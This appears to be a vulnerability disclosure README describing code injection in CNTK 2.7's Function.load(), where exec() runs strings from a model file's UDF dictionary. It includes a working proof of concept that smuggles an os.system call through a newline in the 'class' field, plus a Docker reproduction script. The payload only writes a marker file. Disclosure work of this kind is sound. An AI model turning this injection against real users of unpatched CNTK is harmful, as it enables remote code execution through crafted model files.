CNTK Code Injection via UDF Deserialization (VERIFIED)
Status: Production verified on CNTK 2.7 / Python 3.6
Code injection in Microsoft CNTK model loading. Crafted model files execute
arbitrary Python code when Function.load() is called. No opt-in required.
Vulnerability
bindings/python/cntk/internal/__init__.py:54 uses exec() with
attacker-controlled strings from the model file's serialized UDF dictionary:
exec("from {} import {}".format(module, cls))
The module and cls values come from a protobuf Dictionary embedded in
the .model file. No validation, no sanitization.
Verified Exploit
Tested on CNTK 2.7 installed via pip in Docker (Ubuntu 18.04, Python 3.6):
from cntk.internal import _UDFDeserializeCallbackWrapper
import cntk
wrapper = _UDFDeserializeCallbackWrapper()
dummy = cntk.input_variable(shape=(1,))
# Malicious dictionary (what a crafted .model file would contain)
malicious_dict = {
'class': 'path\n__import__("os").system("echo CNTK_RCE > /tmp/pwned")',
'module': 'os',
'state': {},
'op_name': 'test_op',
'version': 1
}
wrapper([dummy], "test", malicious_dict)
# -> RCE success: True
# -> /tmp/pwned contains: CNTK_RCE
Reproduce
Requires CNTK 2.7 environment (Python 3.6, Ubuntu 16.04/18.04 with OpenMPI).
# In Docker:
docker run --rm -v $(pwd):/tmp ubuntu:18.04 bash -c '
apt-get update && apt-get install -y python3.6 python3-pip libopenmpi-dev
ln -s /usr/lib/x86_64-linux-gnu/libmpi_cxx.so.20 /usr/lib/x86_64-linux-gnu/libmpi_cxx.so.1
ln -s /usr/lib/x86_64-linux-gnu/libmpi.so.20 /usr/lib/x86_64-linux-gnu/libmpi.so.12
pip3 install cntk
python3 /tmp/exploit.py
'
See exploit.py for the full verified exploit.
Files
poc.py-- Standalone injection pattern demo (no CNTK needed)exploit.py-- Full verified exploit against CNTK 2.7vulnerable_code.py-- The exact vulnerable code from CNTK v2.7
Impact
Arbitrary Python code execution triggered automatically on model load. Affects all CNTK versions since v2.0. CNTK archived since 2023 -- no fix expected upstream.